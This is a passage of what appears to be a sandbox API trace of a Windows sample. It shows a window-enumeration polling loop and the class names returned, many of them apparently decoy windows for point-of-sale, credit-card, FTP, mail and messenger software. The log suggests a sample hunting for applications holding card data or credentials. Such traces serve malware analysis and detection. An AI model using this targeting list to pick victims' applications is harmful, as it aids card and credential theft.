(lpEnumFunc=0x423dd0, lParam=0x410000) [0270.184] Sleep (dwMilliseconds=0x64) [0270.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.185] Sleep (dwMilliseconds=0x64) [0270.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.187] Sleep (dwMilliseconds=0x64) [0270.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.188] Sleep (dwMilliseconds=0x64) [0270.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.298] Sleep (dwMilliseconds=0x64) [0270.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.324] Sleep (dwMilliseconds=0x64) [0270.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.327] Sleep (dwMilliseconds=0x64) [0270.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.359] Sleep (dwMilliseconds=0x64) [0270.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.361] Sleep (dwMilliseconds=0x64) [0270.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.364] Sleep (dwMilliseconds=0x64) [0270.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.365] Sleep (dwMilliseconds=0x64) [0270.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.367] Sleep (dwMilliseconds=0x64) [0270.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.369] Sleep (dwMilliseconds=0x64) [0270.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.371] Sleep (dwMilliseconds=0x64) [0270.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.372] Sleep (dwMilliseconds=0x64) [0270.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.374] Sleep (dwMilliseconds=0x64) [0270.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.375] Sleep (dwMilliseconds=0x64) [0270.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.377] Sleep (dwMilliseconds=0x64) [0270.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.379] Sleep (dwMilliseconds=0x64) [0270.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.380] Sleep (dwMilliseconds=0x64) [0270.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.382] Sleep (dwMilliseconds=0x64) [0270.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.383] Sleep (dwMilliseconds=0x64) [0270.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.385] Sleep (dwMilliseconds=0x64) [0270.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.387] Sleep (dwMilliseconds=0x64) [0270.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.390] Sleep (dwMilliseconds=0x64) [0270.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.391] Sleep (dwMilliseconds=0x64) [0270.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.393] Sleep (dwMilliseconds=0x64) [0270.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.395] Sleep (dwMilliseconds=0x64) [0270.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.396] Sleep (dwMilliseconds=0x64) [0270.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.485] Sleep (dwMilliseconds=0x64) [0270.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.496] Sleep (dwMilliseconds=0x64) [0270.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.498] Sleep (dwMilliseconds=0x64) [0270.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.500] Sleep (dwMilliseconds=0x64) [0270.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.501] Sleep (dwMilliseconds=0x64) [0270.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.504] Sleep (dwMilliseconds=0x64) [0270.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.506] Sleep (dwMilliseconds=0x64) [0270.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.508] Sleep (dwMilliseconds=0x64) [0270.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.509] Sleep (dwMilliseconds=0x64) [0270.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.511] Sleep (dwMilliseconds=0x64) [0270.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.514] Sleep (dwMilliseconds=0x64) [0270.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.747] Sleep (dwMilliseconds=0x64) [0270.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.749] Sleep (dwMilliseconds=0x64) [0270.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.751] Sleep (dwMilliseconds=0x64) [0270.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.752] Sleep (dwMilliseconds=0x64) [0270.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.754] Sleep (dwMilliseconds=0x64) [0270.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.763] Sleep (dwMilliseconds=0x64) [0270.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.773] Sleep (dwMilliseconds=0x64) [0270.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.783] Sleep (dwMilliseconds=0x64) [0270.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.922] Sleep (dwMilliseconds=0x64) [0270.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.932] Sleep (dwMilliseconds=0x64) [0270.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.934] Sleep (dwMilliseconds=0x64) [0270.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.935] Sleep (dwMilliseconds=0x64) [0270.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.937] Sleep (dwMilliseconds=0x64) [0270.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) returned 1 [0270.939] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0270.942] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0270.942] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0270.942] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0270.943] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0270.943] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0270.943] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0270.943] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0270.943] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0270.943] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0270.943] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0270.943] GetClassNameA (in: hWnd=0x10176, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0270.943] GetClassNameA (in: hWnd=0x10168, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0270.943] GetClassNameA (in: hWnd=0x10158, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0270.943] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.943] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0270.943] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0270.944] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0270.944] GetClassNameA (in: hWnd=0x10184, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0270.944] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0270.944] GetClassNameA (in: hWnd=0x100c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0270.944] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.944] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.944] GetClassNameA (in: hWnd=0x100a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.944] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.944] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.944] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.945] GetClassNameA (in: hWnd=0x10084, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.945] GetClassNameA (in: hWnd=0x10090, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.945] GetClassNameA (in: hWnd=0x100ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.945] GetClassNameA (in: hWnd=0x20078, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0270.945] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0270.945] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.945] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0270.945] GetClassNameA (in: hWnd=0x30308, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0270.945] GetClassNameA (in: hWnd=0x20332, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-007CCDB8-956e40d") returned 28 [0270.945] GetClassNameA (in: hWnd=0x40194, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0270.945] GetClassNameA (in: hWnd=0x5020c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.946] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="often_far_on_cls") returned 16 [0270.946] GetClassNameA (in: hWnd=0x10378, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="utg2_class") returned 10 [0270.946] GetClassNameA (in: hWnd=0x20210, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Senseunderstandwnd") returned 18 [0270.946] GetClassNameA (in: hWnd=0x10374, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spgagentservice_cls") returned 19 [0270.946] GetClassNameA (in: hWnd=0x10342, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0270.946] GetClassNameA (in: hWnd=0x10370, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0270.946] GetClassNameA (in: hWnd=0x10362, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="isspos_class") returned 12 [0270.946] GetClassNameA (in: hWnd=0x10334, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="active-charge_wnd") returned 17 [0270.946] GetClassNameA (in: hWnd=0x10366, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="mxslipstreamcls") returned 15 [0270.946] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="omnipos_wnd") returned 11 [0270.946] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fpos_cls") returned 8 [0270.946] GetClassNameA (in: hWnd=0x1032c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="winscp_") returned 7 [0270.946] GetClassNameA (in: hWnd=0x10356, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="edcsvr_app") returned 10 [0270.946] GetClassNameA (in: hWnd=0x10352, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="creditservice_class") returned 19 [0270.947] GetClassNameA (in: hWnd=0x10326, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_class") returned 20 [0270.947] GetClassNameA (in: hWnd=0x10388, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0270.947] GetClassNameA (in: hWnd=0x10316, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0270.947] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ccv_server_") returned 11 [0270.947] GetClassNameA (in: hWnd=0x10348, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="centralcreditcardwnd") returned 20 [0270.947] GetClassNameA (in: hWnd=0x10310, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="trillian_cls") returned 12 [0270.947] GetClassNameA (in: hWnd=0x10340, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="aldelowin") returned 9 [0270.947] GetClassNameA (in: hWnd=0x1030c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="smartftpcls") returned 11 [0270.947] GetClassNameA (in: hWnd=0x10336, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="accuposwin") returned 10 [0270.947] GetClassNameA (in: hWnd=0x10300, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="skype_win") returned 9 [0270.948] GetClassNameA (in: hWnd=0x10320, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="whatsappwindow") returned 14 [0270.948] GetClassNameA (in: hWnd=0x10312, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0270.948] GetClassNameA (in: hWnd=0x10302, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="scriptftpwindow") returned 15 [0270.948] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="outlook_win") returned 11 [0270.948] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="leechftp_class") returned 14 [0270.948] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="pidginwnd") returned 9 [0270.948] GetClassNameA (in: hWnd=0x102da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0270.948] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="operamail_cls") returned 13 [0270.948] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ncftpapp") returned 8 [0270.948] GetClassNameA (in: hWnd=0x102c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="flashfxp_win") returned 12 [0270.949] GetClassNameA (in: hWnd=0x102e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="notepad_win") returned 11 [0270.949] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="filezilla_") returned 10 [0270.949] GetClassNameA (in: hWnd=0x102ce, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="gmailnotifierpro_class") returned 22 [0270.949] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_win") returned 18 [0270.949] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0270.949] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fling_") returned 6 [0270.949] GetClassNameA (in: hWnd=0x102ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coreftpclass") returned 12 [0270.949] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="farwnd") returned 6 [0270.949] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="bitkinex_wnd") returned 12 [0270.949] GetClassNameA (in: hWnd=0x102a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0270.949] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="3dftp_app") returned 9 [0270.949] GetClassNameA (in: hWnd=0x1029a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_window") returned 21 [0270.949] GetClassNameA (in: hWnd=0x10282, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Hundredmarriageclass") returned 20 [0270.949] GetClassNameA (in: hWnd=0x10272, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="causewnd") returned 8 [0270.950] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="walloil") returned 7 [0270.950] GetClassNameA (in: hWnd=0x10280, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="stock_Decide_Improve_cls") returned 24 [0270.950] GetClassNameA (in: hWnd=0x10270, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Green_hard_wind_wnd") returned 19 [0270.950] GetClassNameA (in: hWnd=0x10256, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="his_window") returned 10 [0270.950] GetClassNameA (in: hWnd=0x10254, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ProductRepublicanamountclass") returned 28 [0270.950] GetClassNameA (in: hWnd=0x10250, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="if_return_class") returned 15 [0270.950] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="FiveAddToowindow") returned 16 [0270.950] GetClassNameA (in: hWnd=0x10226, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="YardBeclass") returned 11 [0270.950] GetClassNameA (in: hWnd=0x10240, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="sourcewindow") returned 12 [0270.950] GetClassNameA (in: hWnd=0x10220, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shothotwnd") returned 10 [0270.951] GetClassNameA (in: hWnd=0x10242, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="on_Walk_cls") returned 11 [0270.951] GetClassNameA (in: hWnd=0x10234, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="chanceEverybodyemployeeclass") returned 28 [0270.951] GetClassNameA (in: hWnd=0x10236, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="right_Forget_win") returned 16 [0270.951] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coursesimilarAreacls") returned 20 [0270.951] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Instead_able_light_wnd") returned 22 [0270.951] GetClassNameA (in: hWnd=0x10218, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Account_") returned 8 [0270.951] GetClassNameA (in: hWnd=0x10216, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Task") returned 4 [0270.951] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplyOurstrategy") returned 16 [0270.951] GetClassNameA (in: hWnd=0x2013c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.952] GetClassNameA (in: hWnd=0x2012c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.952] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.952] GetClassNameA (in: hWnd=0x20132, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.952] GetClassNameA (in: hWnd=0x3002c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0270.952] GetClassNameA (in: hWnd=0x701f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.952] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.952] GetClassNameA (in: hWnd=0x501e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0270.952] GetClassNameA (in: hWnd=0x20144, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0270.952] GetClassNameA (in: hWnd=0x400f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0270.952] GetClassNameA (in: hWnd=0x801ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.956] GetClassNameA (in: hWnd=0x401fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.956] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.956] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.956] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.956] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0270.956] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.956] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0270.956] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0270.956] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.956] GetClassNameA (in: hWnd=0x10148, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0270.956] GetClassNameA (in: hWnd=0x10118, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0270.957] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.957] GetClassNameA (in: hWnd=0x10116, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0270.957] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.957] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.957] GetClassNameA (in: hWnd=0x10114, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0270.957] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0270.957] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0270.957] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0270.957] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.957] GetClassNameA (in: hWnd=0x100e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.957] GetClassNameA (in: hWnd=0x100de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.958] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0270.958] GetClassNameA (in: hWnd=0x100be, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0270.958] GetClassNameA (in: hWnd=0xf030a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0270.958] GetClassNameA (in: hWnd=0xb033e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0270.958] GetClassNameA (in: hWnd=0x20020, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0270.958] GetClassNameA (in: hWnd=0x30016, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0270.958] GetClassNameA (in: hWnd=0x20028, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0270.958] GetClassNameA (in: hWnd=0x2004a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0270.958] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0270.958] GetClassNameA (in: hWnd=0x10072, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0270.958] GetClassNameA (in: hWnd=0x1006e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0270.959] GetClassNameA (in: hWnd=0x10022, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0270.959] GetClassNameA (in: hWnd=0x10192, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0270.959] GetClassNameA (in: hWnd=0x3030e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0270.959] GetClassNameA (in: hWnd=0x100cc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0270.959] GetClassNameA (in: hWnd=0x10136, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.959] GetClassNameA (in: hWnd=0x10178, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.959] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.959] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.959] GetClassNameA (in: hWnd=0x10186, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.959] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0270.960] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x30296, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] 